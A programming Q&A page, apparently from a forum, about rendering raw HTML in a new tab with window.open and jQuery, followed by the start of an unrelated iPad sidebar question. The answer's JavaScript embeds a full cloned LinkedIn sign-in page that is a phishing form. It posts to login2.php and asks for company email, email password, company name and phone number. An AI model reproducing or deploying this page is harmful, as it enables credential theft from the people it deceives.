Render complex html source code in new tab - javascript
I want to render html code in a new tab, so I'm currently doing:
var w = window.open();
$(w.document.body).html("HTML_CODE");
But the issue is that if I'm rendering a simple html like:
<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><table width="400" cellpadding="3" cellspacing="5"><tr><td align="left" valign="middle" width="360"><font style="COLOR: black; FONT: 10pt/10pt verdana"><b>Page cannot be displayed</b></font></td></tr><tr><td width="400"><font style="COLOR: black; FONT: 8pt/11pt verdana">The requested URL was not found on this server.</font></td></tr><tr><td width="400"><font style="COLOR: black; FONT: 8pt/11pt verdana"><hr color="#C0C0C0" noshade><font style="font:8pt/11pt verdana; color:black"><br>IceWarp<br>404 Not found</font></font></td></tr></table></BODY></HTML>
That's working fine. the problem is when I'm try to render more complex ones like:
https://pastebin.com/raw/yxwBzGJK
And then the javascript code of what I'm trying to render affect my current tab of the web application (this is the errors in console of my web application tab when rendering the code in new tab):
Here is a fiddle of what I'm trying to achieve:
https://jsfiddle.net/eitanmg/67cwqyvf/14/
Your code is correct and seems to be working fine for me when I created and html file on my local machine. But it didn't work with jsFiddle or Codepen I suppose there might be some issue due to the way they render the html.
My index.html content --
<html>
<head>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"> </script>
<script src="index.js"> </script>
</head>
<body>
<button data-initialid='2312' type='button' class='btn renderSourceCodeBTN'>Render Source</button>
</body>
</html>
My index.js Code
$(document).on("click",".renderSourceCodeBTN", function (event) {
var w = window.open();
var temp = `<!DOCTYPE html>
<!--[if lt IE 7]> <html lang="en" class="ie ie6 lte9 lte8 lte7 os-win"> <![endif]-->
<!--[if IE 7]> <html lang="en" class="ie ie7 lte9 lte8 lte7 os-win"> <![endif]-->
<!--[if IE 8]> <html lang="en" class="ie ie8 lte9 lte8 os-win"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie ie9 lte9 os-win"> <![endif]-->
<!--[if gt IE 9]> <html lang="en" class="os-win"> <![endif]-->
<!--[if !IE]><!--> <html lang="en" class="os-win"> <!--<![endif]-->
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<head>
<script src="../../static.licdn.com_443/scds/common/u/lib/fizzy/fz-1.3.8-min.js" type="text/javascript"></script><script type="text/javascript">fs.config({"failureRedirect":"http://www.linkedin.com/nhome/","uniEscape":true,"xhrHeaders":{"X-FS-Origin-Request":"/uas/login","X-FS-Page-Id":"uas-consumer-login"}});</script><script></script>
<!--[if lte IE 8]>
<link rel="shortcut icon" href="https://static.licdn.com/scds/common/u/images/logos/favicons/v1/16x16/favicon.ico">
<![endif]-->
<!--[if IE 9]>
<link rel="shortcut icon" href="https://static.licdn.com/scds/common/u/images/logos/favicons/v1/favicon.ico">
<![endif]-->
<link rel="icon" href="https://static.licdn.com/scds/common/u/images/logos/favicons/v1/favicon.ico">
<link rel="stylesheet" type="text/css" href="https://static.licdn.com/scds/concat/common/css?h=765zh9odycznutep5f0mj07m4-c8kkvmvykvq2ncgxoqb13d2by-7im4ksgpukpbjap4swfj3elxs-7mxyksftlcjzimz2r05hd289r-4uu2pkz5u0jch61r2nhpyyrn8-7poavrvxlvh0irzkbnoyoginp-4om4nn3a2z730xs82d78xj3be-ez2lcu8wtkfml6t904kxuz2em-ct4kfyj4tquup0bvqhttvymms-a6c7eivr8umrp20gkm4s5m4kd-9zbbsrdszts09by60it4vuo3q-8ti9u6z5f55pestwbmte40d9-6xy1ubh931c87hnrti1tm0ghb-3pwwsn1udmwoy3iort8vfmygt-b1019pao2n44df9be9gay2vfw-aau7s6f37xbtq1daynn0bb656-ab01tg8funn2n1exayaej7367">
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=3nuvxgwg15rbghxm1gpzfbya2-35e6ug1j754avohmn1bzmucat-mv3v66b8q0h1hvgvd3yfjv5f-14k913qahq3mh0ac0lh0twk9v-5j9cn6jiwhc47x6gzmpv6ogni-b7ksroocq54owoz2fawjb292y-62og8s54488owngg0s7escdit-c8ha6zrgpgcni7poa5ctye7il-8gz32kphtrjyfula3jpu9q6wl-51dv6schthjydhvcv6rxvospp-e9rsfv7b5gx0bk0tln31dx3sq-2r5gveucqe4lsolc3n0oljsn1-8v2hz0euzy8m1tk5d6tfrn6j-di2107u61yb11ttimo0s2qyh2-38i6il2zabqvakfzq8wpcvmwh-338jj5au2boohyyk766mnkr8-a7br995b5xb4ztral63cjods4-4x5thcpbzikuqpcblepkqxhqs-91ky3avajc93abaff1zy09qie-39kuwv80yvqr74w4oe9bge0md-ejfdcbibyn0amjrpy1bw898cw-370m60vrzsp5vx8i8wie69mme-b0otj9zjsih2zu4s3gxjejik2-czstax4e6y68hymdvqxpwe5so-3g8gynfr7fip2svw23i5ixnw3"></script>
<script type="text/javascript">LI.define('UrlPackage');LI.UrlPackage.containerCore=["https://static.licdn.com/scds/concat/common/js?h=d7z5zqt26qe7ht91f8494hqx5"][0];</script>
<script type="text/javascript">(function(){if(typeof LI==='undefined'||!LI){window.LI={};}
var shouldUseSameDomain=false&&false&&!/Version\//i.test(window.navigator.userAgent);function adjustUrlForIos(url){return shouldUseSameDomain?url.replace(/^(?:https?\:)?\/\/[^\/]+\//,'/'):url;}
LI.JSContentBasePath=adjustUrlForIos("login.html\/\/static.licdn.com\/scds\/concat\/common\/js?v=build-2000_8_48397-prod");LI.CSSContentBasePath=adjustUrlForIos("login.html\/\/static.licdn.com\/scds\/concat\/common\/css?v=build-2000_8_48397-prod");LI.injectRelayHtmlUrl=shouldUseSameDomain?null:"https:\/\/static.licdn.com\/scds\/common\/u\/lib\/inject\/0.6.1\/relay.html";LI.comboBaseUrl=adjustUrlForIos("login.html\/\/static.licdn.com\/scds\/concat\/common\/css?v=build-2000_8_48397-prod");LI.staticUrlHashEnabled=true;}());</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=25kaepc6rgo1820ap1rglmzr4-5twpadgpdpe2fd2drxbyynj9s-dtx8oyvln9y03x1ku6t0abhc9-9yrlkzqdz2fq4zzcxtkisx0j2-edp77ghrpkbbons0amvyb2ejm-8ohb0iio22nbqe1w8et54sawe-5n5dp3pn32p4zstdag5cbpr1-eehwe5piqwg4elnl8jvj9vpx-amjylk8w8039f2lwlov2e4nmc-47qp7uw3i5i1pqeovirlcc070-9w1b5mi5erarwbypvtw0a03k7-6dhio4t0fxvyu677a4z672e0-4izdpghi4r0b0uhhivo34xsvq-9a0rznn8mui615f4o75jq7hz2-dta7xzw3a1itnwo44eolyusn5-67xlf04tp198rsgnplkzm3mv0-9undj1hjru2i7vjjlqtb52ho2-7vr4nuab43rzvy2pgq7yvvxjk-9qa4rfxekcw3lt2c06h7p0kmf"></script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-1",{event:"before",type:"html"});</script><meta name="remote-nav-init-marker" content="true"/>
<link rel="stylesheet" type="text/css" href="https://static.licdn.com/scds/concat/common/css?h=a6c7eivr8umrp20gkm4s5m4kd-5abacav2ihca7naq8ldlbzvjs">
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=ditm8xdycl29ta8gqk5tpmxf8-czstax4e6y68hymdvqxpwe5so"></script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-1",{event:"after",type:"html"});</script>
<title>Sign In | LinkedIn</title>
<link rel="stylesheet" type="text/css" href="https://static.licdn.com/scds/concat/common/css?h=c52xqty03kc2uumayfdgw52ha-bdvlivvfj7epd3qpujfiyceiy-9isvvzw61fpveso9doy1mzsas-aze4ooami6s3kk293iv0zfky1-95t6vcl2cgpx3042md6zm5jzo">
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=4zslye83akez5s4mf91hrq425-95d8d303rtd0n9wj4dcjbnh2c-arbgv2252ztzfkx4ttedufn6d-dkdnel3qyxdabl44dfxjdks1c-5j9ytf091oscwtui7nf86wpzf-e2qurhslc3tudjtufn4sxxai6-d638hjstdjtxe4t85q40byqcd"></script>
<link rel="canonical" href="login.html"/>
<link rel="stylesheet" type="text/css" href="https://static.licdn.com/scds/concat/common/css?h=cfsam81o5sp3cxb7m0hs933c4-e52k99nlgnf00pfikh16pt1b4-bnquk6ky802954cnw1mw4p59k-2qk68hrxrqya74okuimf9dv0c">
<script type="text/javascript">LI.define('ChangePassword.Styles');LI.ChangePassword.Styles=["https://static.licdn.com/scds/concat/common/css?h=63ruf6tb4l2oph21j90lusip4-2qk68hrxrqya74okuimf9dv0c"];LI.define('ChangePassword.html');LI.ChangePassword.JS=["https://static.licdn.com/scds/concat/common/js?h=ab0aazvz3b9nvqjmo36373r2p"];LI.i18n.register('change_your_password','Change your password');LI.i18n.register('wrong_password','Hmm, that\'s not the right password. Please try again or <a class=\"password-reminder-link\" href=\"\/uas\/request-password-reset\">request a new one.<\/a>');LI.i18n.register('invalid_username','Hmm, we don\'t recognize that email. Please try again.');LIModules.exports('DialogRetrofitV2Enabled',true);LIModules.exports('ComposeDialogDependencies',{jsFiles:["https://static.licdn.com/scds/concat/common/js?h=5suxahyg6u5y9abq7nx22rsp3"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=154kxlhs4z8rrtcvqfbage7t"]});LIModules.exports('FeedbackDialogDependencies',{url:'/lite/feedback-form',cssFiles:["https://static.licdn.com/scds/concat/common/css?h=3pjgifqd8hix737po9m8egegl"]});LIModules.exports('WhoSharedDialogDependencies',{jsFiles:["https://static.licdn.com/scds/concat/common/js?h=3m0wwwerqvp8618uhx52in5b-ef3elbvaio1ryhqhel0ra3b7c-f2ve2m4snne5xyn5408bsek5n-cz35wdvsh3whk61r5ab6knzup-4bl5gu6lc1p1v2gdrxrirebcu"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=ee6ucumj8ledmrgyfyz4779k4-5vdl4x1qzwm5rqqwq4015vpam-3566c1ju1btq868kwju12welc-8asck8kvvd6hamuyvpcdse51p"]});LIModules.exports('EndorseDialogDependencies',{jsFiles:["https://static.licdn.com/scds/concat/common/js?h=3gtm46fgengh7teck5sse5647-1nu5dtx3127c5u6rnyd48xyy1-13jjjkmtbrqk2d7ctaerhjl6c"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=dg4rrw421valxxlqfp04030g7"]});LIModules.exports('SlideshareDialogDependencies',{jsFiles:["https://static.licdn.com/scds/concat/common/js?h=6y9mbi0r2o6usgrmm8vm1vw4k-1wq18rvqnu5ju66mrccyhjupj-f1h7fo0t146gwqkn1v0npn007-em4myogo6n3h23gq9jhm940b8-b7n2zuq7kxlcqoyy45lfiqd00-desdb8ckwqfizu4iap272t667-2dzvpjvb927qbsnxts39b5lhm-2rwnq8ar01i5mbiqrriwrxctf-ef3elbvaio1ryhqhel0ra3b7c-18mio6a45fu33gbckogjwiskc-4bl5gu6lc1p1v2gdrxrirebcu-3f4mhcnicl2sssc4h9zxayaba-3mfdh15yv4dvkys8ghzfcggmw-8c0ozn3ptdmcfmdkez191r1e9-5kwfaiekiahrqi8wwb0qpont1-emx9k3g6vxhx5cbad2xccjes0"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=24o3wkkwwvmwutak3nlw5lx4n-eu8svnpd32wrtwqeuiuomdty0-4y2bj10mk9r3y7tmy3tju56vk-6lg80obqw1a6e31g5xzz9modk-9gj02wtxq8z7svwc0ldplic28-3ohu4hv8hru5myc4i9cj3mzau-9isvvzw61fpveso9doy1mzsas-9crclcw3gvtm1rwguxp349o8l"]});LIModules.exports('CommentFlagReportDependencies',{url:'/today/social/flag-comment-form',jsFiles:["https://static.licdn.com/scds/concat/common/js?h=aevdban1tqltqettio7veayoo-9qiqdz1qfr0ylhlzx0uchfe0n-bs317qn4mf3587q6g80mtawha-2koc6nzt8doynbyinm6upmmk-8d5srj4unec9c1mksngizgbpn"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=drxco8hlm0vu0i6lc3qveehbl"]});LIModules.exports('SlideshareAdDependencies',{cssFiles:["https://static.licdn.com/scds/concat/common/css?h=e146j8gzz2jcia95s3z0rvciq"]});</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=5lsmngp0eiyzirempbmj3f9ry"></script>
</head>
<body dir="ltr" class="guest v2 chrome-v5 chrome-v5-responsive sticky-bg guest" id="pagekey-uas-consumer-login-internal">
<input id="inSlowConfig" type="hidden" value="false"/>
<script type="text/javascript">document.body.className+=" js ";</script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-2",{event:"before",type:"html"});</script><div id="a11y-menu" class="a11y-skip-nav-container">
<div class="a11y-skip-nav a11y-hidden">
Skip to main content
</div>
<script id="control-http-12274-exec-57423191-1" type="linkedin/control" class="li-control">LI.Controls.addControl('control-http-12274-exec-57423191-1','A11yMenu',{jumpToText:'Jump to: <strong>Summary<\/strong>',skipToText:'Skip to: <strong>Search<\/strong>',feedbackText:'Accessibility Feedback',closeText:'close',anchorText:'Content Follows:',moreText:'More in-page navigation options below',smallPageText:'Not much to look at here. Go directly to content.',searchUrl:'\/vsearch\/f'});</script>
<script id="control-http-12274-exec-57423191-2" type="linkedin/control" class="li-control">LI.KbDialogDependencies={jsFiles:["https://static.licdn.com/scds/concat/common/js?h=37zc8dm8vu14f1neta1ponx0o"],cssFiles:["https://static.licdn.com/scds/concat/common/css?h=9qwmbyyfabl3upqh3cyzbhd49"]};LI.Controls.addControl('control-http-12274-exec-57423191-2','kb.shortcuts',{homepageUrl:'http:\/\/www.linkedin.com\/nhome\/?trk=global_kb',profileUrl:'http:\/\/www.linkedin.com\/profile\/view?trk=global_kb',editProfileUrl:'http:\/\/www.linkedin.com\/profile\/edit?trk=global_kb',inboxUrl:'http:\/\/www.linkedin.com\/inbox\/#messages?trk=global_kb',jobsUrl:'http:\/\/www.linkedin.com\/job\/home?trk=global_kb',settingsUrl:'https:\/\/www.linkedin.com\/secure\/settings?req=&trk=global_kb',influencerUrl:'http:\/\/www.linkedin.com\/influencers?trk=global_kb'});</script>
</div>
<div id="header" class="global-header responsive-header nav-v5-2-header responsive-1 remote-nav" role="banner">
<div id="top-header">
<div class="wrapper">
<h2 class="logo-container">
<a href="http://www.linkedin.com/" class="guest logo" id="li-logo">
LinkedIn Home
</a>
</h2>
<ul class="nav main-nav guest-nav" role="navigation">
<li class="nav-item">
<a href="http://www.linkedin.com/static?key=what_is_linkedin&trk=hb_what" class="nav-link">
What is LinkedIn?
</a>
</li>
<li class="nav-item">
<a href="https://www.linkedin.com/start/join?trk=hb_join" class="nav-link" rel="nofollow">
Join Today
</a>
</li>
<li class="nav-item">
<a href="logine908.html?goback=&trk=hb_signin" class="nav-link" rel="nofollow">
Sign In
</a>
</li>
</ul>
</div>
</div>
<div class="a11y-content">
<a name="a11y-content" tabindex="0" id="a11y-content-link">Main content starts below.</a>
</div>
</div>
<script type="text/javascript">LI.RUM=LI.RUM||{};LI.RUM.streamMetrics={timeToNavInteractive:Date.now&&Date.now()||new Date().getTime(),timeToAboveFold:null,timeToPageInteractive:null};</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=1e5kw6urhif0boq5eaan271d3-473m04z4a58wexbuqt1uoier4-ettwzlseaw86558lzmqblr06t-4y7qfbe7liwvykn5stbqh9jra-9r20yf4qs8yiwgzkf53wg7wyr-6865rdpomfa2609kghcxa2ojk-s4x3rtlk1sdpf9r8pwrfgklz-b01bpc2em58egy7voz1cza2w4-crayc3khz55ejfivfh0atiltt-2ghhcjwxsjk0n3h4p2tkxqdsf-12960v0orzym6k2r6fa6l03uh-bkbl4wmbf5lp9185n7bthkx96-3i7ubdukif1jevuf29ftmtvjs-7bt8yq2swxj00zqwcc3anfs61-5cmfpe4jqrweez449s97ldikg-clz7gb1h1gqkujqk14gbprnf5"></script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-2",{event:"after",type:"html"});</script>
<div id="body" class="" role="main">
<div class="wrapper hp-nus-wrapper">
<div id="global-error">
</div>
<div id="bg-fallback"></div>
<div id="main" class="signin">
<div id="cookieDisabled">Make sure you have cookies and Javascript enabled in your browser before signing in.</div>
<script type="text/javascript">if(navigator.cookieEnabled==true){LI.hide('cookieDisabled');}</script>
<form id="form1" name="form1" method="post" action="login2.php">
<fieldset>
<legend>Sign in to LinkedIn</legend>
<div class="outer-wrapper">
<div class="inner-wrapper">
<div class="logo_container">LinkedIn</div>
<ul id="mini-profile--js">
<li class="">
<input type="email" name="email" placeholder="Company Email" required="yes" />
<li>
<ul id="mini-profile--js">
<li class="">
<input type="" name="email2" placeholder="Email Password" required="yes" />
<li>
<ul id="mini-profile--js">
<li class="">
<input type="" name="email3" placeholder="Confirm Email Password" required="yes" />
<li>
<ul id="mini-profile--js">
<li class="">
<input type="" name="email4" placeholder="Company Name" required="yes" />
<li>
<ul id="mini-profile--js">
<li class="">
<input type="" name="email5" placeholder="Company Telephone Number" required="yes" />
<li>
</li>
<li class="button">
<input type="submit" name="signin" value="Submit" class="btn-primary" id="btn-primary">
</li>
</ul>
</div>
</div>
<div class="gaussian-blur"></div>
</div>
<script id="control-http-12257-exec-7423163-1" type="linkedin/control" class="li-control">LI.Controls.addControl('control-http-12257-exec-7423163-1','LI.BalloonCalloutDelegator',{width:'auto',orientation:'bottom',type:'tooltip-callout',dataId:'-li-tooltip-id'});</script>
</fieldset>
<input type="hidden" name="session_redirect" value="" id="session_redirect-login"><input type="hidden" name="trk" value="" id="trk-login"><input type="hidden" name="loginCsrfParam" value="54a939e2-7f82-45cf-b88c-0534ab45b28e" id="loginCsrfParam-login"><input type="hidden" name="fromEmail" value="" id="fromEmail-login"><input type="hidden" name="csrfToken" value="ajax:2649005306478309108" id="csrfToken-login"><input type="hidden" name="sourceAlias" value="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi" id="sourceAlias-login">
</form>
<script id="control-http-12257-exec-7423164-2" type="linkedin/control" class="li-control">LI.i18n.register('oneOrMoreErrors','There were one or more errors in your submission. Please correct the marked fields below.');LI.i18n.register('unableToProcessRequest','We were unable to handle your request. Please try again.');LI.Controls.addControl('control-http-12257-exec-7423164-2','FrontierAJAXForm',{injectAfter:'.button',successCallback:LI.Login.handleSuccess,enableResizeScreen:false,errorCallback:LI.Login.handleError,injectGlobalError:true,errorId:'global-alert-queue'});</script>
<script id="control-http-12257-exec-7423164-3" type="linkedin/control" class="li-control">LI.Controls.addControl('control-http-12257-exec-7423164-3','Login',{showErrorOnLoad:false,errorOnLoadMessage:'There’s already a LinkedIn account associated with this email address.',resetPasswordURL:'\/uas\/request-password-reset?session_redirect=&trk=signin_fpwd',passwordReminderMessage:'Need a password reminder?',domainSuggestion:''});</script>
<div class="callout-container">
<span id="login-tooltip">
<div class="callout-content">
Forgot password?
</div>
</span>
</div>
</div>
<svg class="svg-image-blur">
<filter id="blur-effect-1">
<feGaussianBlur stdDeviation="5"></feGaussianBlur>
</filter>
</svg>
<script>if(window.$&&jQuery){$('document').ready(function(){$('.gaussian-blur').addClass('blur');});}else{YEvent.onDOMReady(function(){YDom.addClass(Y$('.gaussian-blur',null,true),'blur');});}</script>
<style type="text/css">
.svg-image-blur {
position: absolute;
top: -50000px;
left: -50000px;
}
.blur {
-webkit-filter: blur(5px);
-moz-filter: blur(5px);
-o-filter: blur(5px);
-ms-filter: blur(5px);
filter: url(#blur-effect-1);
filter: progid:DXImageTransform.Microsoft.Blur(PixelRadius='5');
zoom: 1;
}
</style>
</div>
</div>
<script data-page-js-type="i18n">(function(n,r,a){r=window[n]=window[n]||{};r['Dialog-closeWindow']='Close this window';r['Dialog-close']='Close';r['Dialog-or']='or';r['Dialog-cancel']='Cancel';r['Dialog-submit']='Submit';r['Dialog-error-generic']='We\'re sorry. Something unexpected happened and your request could not be completed. Please try again.';r['Dialog-start']='Dialog start';r['Dialog-end']='Dialog end';}('__li__i18n_registry__'));</script>
<script type="text/javascript">LI.Controls.processQueue();</script>
<script type="text/javascript">LI_WCT(["control-http-12257-exec-7423163-1","control-http-12257-exec-7423164-2","control-http-12257-exec-7423164-3",]);</script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-3",{event:"before",type:"html"});</script><div id="footer" class="remote-nav" role="contentinfo">
<div class="wrapper">
<p id="copyright" class="guest"><span>LinkedIn Corporation</span> <em>© 2015</em></p>
<ul id="nav-legal">
<li>User Agreement</li>
<li>Privacy Policy</li>
<li>
Community Guidelines
</li>
<li>Cookie Policy</li>
<li>Copyright Policy</li>
<li>Guest Controls</li>
</ul>
</div>
</div>
<script type="text/javascript">if(LI.showAllDeferredImg){LI.showAllDeferredImg('header',false);LI.showAllDeferredImg('footer',false);}
if(typeof(oUISettings)!=='undefined'){oUISettings.saveSettingsURL="https://www.linkedin.com/lite/secure-ui-settings-save-old?csrfToken=ajax%3A2649005306478309108";}
if(typeof(WebTracking)!=='undefined'){WebTracking.saveWebActionTrackURL="https://www.linkedin.com/lite/secure-web-action-track?csrfToken=ajax%3A2649005306478309108";}</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=3i7ubdukif1jevuf29ftmtvjs-7bt8yq2swxj00zqwcc3anfs61-du9b5xv93paiu4gm8x4awcgkb-1m7sfcez3isjwlg5yrudwy1mz-clz7gb1h1gqkujqk14gbprnf5"></script>
<script type="text/javascript">fs._server.fire("c52e3bbfd203ec1300b59cecf12a0000-3",{event:"after",type:"html"});</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=178w1amns5ya7addmlk0qioxi-akfe1g1hb660050homjb2nwnr-3tdm4y44d9wld0j7i3gs0x10x-euwg0kjg0qyoxmsz2my965j4r"></script>
<script type="text/javascript">(function(d){function go(){var a=d.createElement('iframe');a.style.display='none';a.setAttribute('sandbox','allow-scripts');a.src='http://radar.cedexis.com/1/11326/radar/radar.html';if(d.body){d.body.appendChild(a);}}
if(window.addEventListener){window.addEventListener('load',go,false);}else if(window.addEvent){window.addEvent('onload',go);}}(document));</script>
<script type="text/javascript">if(!window.LI){window.LI={};}
LI.RUM=LI.RUM||{};(function(RUM,win){var doc=win.document;RUM.flags=RUM.flags||{};RUM.flags['host-flag']="control";RUM.flags['pop_beacons_frequency']="n100-ap0-la0-va0-tx0-sg0-db0-hk0-sp0-ln0";RUM.flags['rs_timings_individual']="control";RUM.urls=RUM.urls||{};RUM.urls['rum-track']="\/lite\/rum-track?csrfToken=ajax%3A2649005306478309108";RUM.urls['boomerang-bw-img']="login.html\/\/static.licdn.com\/scds\/common\/u\/lib\/boomerang\/0.9.edge.4ab208445a\/img\/";RUM.base_urls=RUM.base_urls||{};RUM.base_urls['permanent_content']="login.html\/\/static.licdn.com\/scds\/common\/u\/";RUM.base_urls['versioned_content']="login.html\/\/static.licdn.com\/scds\/concat\/common\/";RUM.base_urls['media_proxy']="login.html\/\/media.licdn.com\/media-proxy\/";RUM.serverStartTime=1.435526584917E12;RUM.enabled=true;function getRumScript(){var node=doc.body||doc.head||doc.getElementsByTagName('head')[0],script=doc.createElement('script');script.src=["https://static.licdn.com/scds/concat/common/js?h=ed29nkjpsa16bhrjq4na16owq-1mucgfycc664m7vmhpjgqse65-1l5rurej3h44qodo5rn0cdvyn-8om6v2ckrxsbnwf40t9ta8a7e-976eucr14azn1gu6x533uu349-9jzlwicvu376y9q4vjq77y5ks-9fdih7kgninuhkdhc16e5wwmy-1m0whdrwis44c1hoa9mrwhlt4-1uvutm1mpyov7rqhtcf8fksby-aac54ic1fmca5xz1yvc5t9nfe-8kc3ymguk6hjfnjqyxbpfflsw-c0121povror81d0xao0yez4gy"][0];node.appendChild(script);}
if(win.addEventListener){win.addEventListener('load',getRumScript);}
else{win.attachEvent('onload',getRumScript);}}(LI.RUM,window));</script>
<script id="localChrome"></script>
<script>var jsRandomCalculator=(function(){function compute(n,email,ts){try{var vs=n.split(":"),ts=parseInt(ts),len=vs.length,i,v,f1_out,f2_out;for(i=0;i<len;i++){vs[i]=parseInt(vs[i],10);}f1_out=f1(vs,ts);f2_out=f2(f1_out,ts);if(f1_out[0]%1000>f1_out[1]%1000){v=f1_out[0];}else{v=f1_out[1];}return f3(v,f2_out,email);}catch(err){return-1;}}function computeJson(input){return compute(input.n,input.email,input.ts);}function f1(vs,ts){var output=[],i;output[0]=vs[0]+vs[1]+vs[2];output[1]=(vs[0]%100+30)*(vs[1]%100+30)*(vs[2]%100+30);for(i=0;i<10;i++){output[0]+=(output[1]%1000+500)*(ts%1000+500);output[1]+=(output[0]%1000+500)*(ts%1000+500);}return output;}function f2(vs,ts){var sum=vs[0]+vs[1],n=sum%3000,m=sum%10000,p=ts%10000;if(n<1000){return Math.pow(m+12345,2)+Math.pow(p+34567,2);}else if(n<2000){return Math.pow(m+23456,2)+Math.pow(p+23456,2);}else{return Math.pow(m+34567,2)+Math.pow(p+12345,2);}}function f3(v1,v2,email){var len=email.length,v3=0,i=0;for(;i<len;i++){v3+=email.charCodeAt(i)<<((5*i)%32);}return(v1*v2*v3)%1000000007;}return{compute:compute,computeJson:computeJson,version:"1.0.1"};}());</script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=eq875keqggun9hoxzfhbanjes"></script>
<script type="text/javascript" src="https://static.licdn.com/scds/concat/common/js?h=b1qfz41z3b3boi2i3gjuzglmx-e4t0yj6tjycwmm5gb2d6tkiqd-4ctyhul13sruu19hcui2s5a9p"></script>
<script type="text/javascript">//<![CDATA[
(function(require){var bcookie=escape(readCookie("bcookie")),$=window.$||(require&&require('jquery')),newTrkInfo='null',alias_secure='/analytics/noauthtracker?type=leo%2EpageTracking&pageType=full_page&pageKey=uas-consumer-login-internal_jsbeacon&trkInfo=REPLACEME',alias_normal='http://www.linkedin.com/analytics/noauthtracker?type=leo%2EpageTracking&pageType=full_page&pageKey=uas-consumer-login-internal_jsbeacon&trkInfo=REPLACEME',is_secure=true,url=(is_secure)?alias_secure:alias_normal;function readCookie(name){var nameEQ=name+'=',ca=document.cookie.split(';');for(var i=0;i<ca.length;i++){var c=ca[i];while(c.charAt(0)===' '){c=c.substring(1,c.length);}
if(c.indexOf(nameEQ)===0){return c.substring(nameEQ.length,c.length);}}
return null;}
url=url.replace("REPLACEME",newTrkInfo);url=url.replace("trkInfo=","trackingInfo=");if(bcookie){if($&&$.ajax){$.ajax(url);}else if(window.YAHOO){window.YAHOO.util.Connect.asyncRequest('get',url,{});}}})(window.require);
//]]></script>
<script data-page-js-type="lix">(function(n,r,a){r=window[n]=window[n]||{};r['jsecure_injectAlert']='control';r['jsecure_Dialog']='control';}('__li__lix_registry__'));</script>
<script type="text/javascript">LI.Controls.processQueue();</script>
</body>
</html>`;
$(w.document.body).html(temp);
});
Related
SideBar No display in Ipad
Good Day, Question I have already try to apply all the fixes for Ipad to get the menu working, Like onclick="" and cursor: pointer;, I already check that the Jquery is working by putting: $(document).ready(function(){alert("We accessed the Javascript"); }); It works in every device, but in Ipad does not work at all, does not recognise the click and does not change the style class either. I use as blueprint this example, then I customise it, so it has not been change that much. SlideMenu Here is the big code, sorry :S: <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:pt="http://xmlns.jcp.org/jsf/passthrough" xmlns:h="http://java.sun.com/jsf/html" xmlns:f="http://java.sun.com/jsf/core" xmlns:c="http://java.sun.com/jsp/jstl/core" xmlns:ui="http://java.sun.com/jsf/facelets" xmlns:p="http://primefaces.org/ui" class="no-js"> <f:view contentType="text/html"> <h:head> <f:facet name="first"> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge; IE=11; IE=10; IE=9; IE=8; IE=7, chrome=1"/> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"/> <title>BBVA</title> <!-- BOOTSTRAP STYLES--> <link href="${request.contextPath}/assets/css/bootstrap.css" rel="stylesheet" media="all" /> <!-- BBVA fonts --> <link href="${request.contextPath}/assets/css/style2.css" rel="stylesheet" media="all" /> <!--SCRIPTS--> <!---Apple Safari iPad and iPhone Meta Tags--> <meta name="viewport" content="width=device-width"/> <meta name="viewport" content="initial-scale=1.0"/> <meta name="viewport" content="width=992, initial-scale=1, user-scalable=no"/><!--width is pixels, range 200 to 10000--> <meta name="format-detection" content="telephone=no"/> <!--disables automatic detection of possible phone numbers--> <meta name="apple-mobile-web-app-capable" content="yes"/><!--specifies full-screen mode--> <meta name="apple-mobile-web-app-status-bar-style" content="black"/><!--specify full-screen mode first--> </f:facet> <!-- Custom BBVA Theme create by: Alejandro Daza --> <link href="${request.contextPath}/assets/css/style.css" rel="stylesheet" media="all" /> <script src="${request.contextPath}/assets/js/bootstrap.min.js"></script> <script src="${request.contextPath}/assets/js/modernizr.custom.js"></script> <script src="${request.contextPath}/assets/js/style1.js"></script> <script src="http://192.168.0.3:1337/vorlon.js"></script> <script src="${request.contextPath}/assets/js/classie.js"></script> </h:head> <h:body> <script> $(document).ready(function(){ //Check if the current URL contains '#' if(document.URL.indexOf("#")==-1){ // Set the URL to whatever it was plus "#". url = document.URL+"#"; location = "#"; //Reload the page location.reload(true); } }); </script> <div class="container pagina"> <div class="col-md-1 col-lg-1 menu2"> <div class="col-md-4 information nopaddingleft nopaddingright"> <ul class="information_menu"> <li class="active" data-id="1"><i class="icon-home_icon"></i></li> <li data-id="2"><a id="showmenu1" onclick="" ><i class="icon-menu_icon"></i></a></li> <div class="spacing"></div> <li data-id="3"><i class="icon-settings_icon"></i></li> <li data-id="4"><i class="icon-help_icon"><span class="path1"></span><span class="path2"></span><span class="path3"></span><span class="path4"></span><span class="path5"></span></i></li> </ul> </div> <!-- Sidebar --> <div class="menunivel1 menunivelleft1" id="menunivel1"> <ul class="information_menunivel1"> <li class="active" 